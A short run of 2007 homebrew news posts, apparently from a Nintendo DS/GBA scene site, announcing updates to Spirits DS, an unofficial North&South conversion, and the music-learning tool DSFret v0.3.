Nightfox has updated his Spirits DS gamne for the Nintendo DS, heres whats new:
31 of January 2007
Added 2 tests of graphs of bottom with scroll Parallax.
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January 31st, 2007, 23:13 Posted By: wraggster
New from GBAdree
This is a project i started months ago.. and its time for a first public version!
North&South is a combined strategy and action game originaly made for the Commodore Amiga, Atari ST, Commodore 64, DOS and Amstrad CPC. It was developed and published in 1989 by Infogrames/Atari Europe.
This is an unofficial conversion i made by ripping all the graphics and audio from Amiga and Atari versions and recreate the engine close to the original.
Curently the game is not finished and feature only the platform games.
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January 31st, 2007, 23:17 Posted By: wraggster
Updated release from Spag, heres whats new:
I had some time these days to update DSFret. So here's v0.3!
-New menu allowing to choose between "quizz" and "card" game. Press Start to go back to menu.
-There's now a quizz for every instrument, with your score and average, as shown on screenshot.
-In "card" game, added a button to automatically display the notes as soon as a new card is drawn (when off, an action is required to display notes). Set it on when learning the notes, and off when you'd like to revise.
-Some UI changes.
-Some code has been rewritten.
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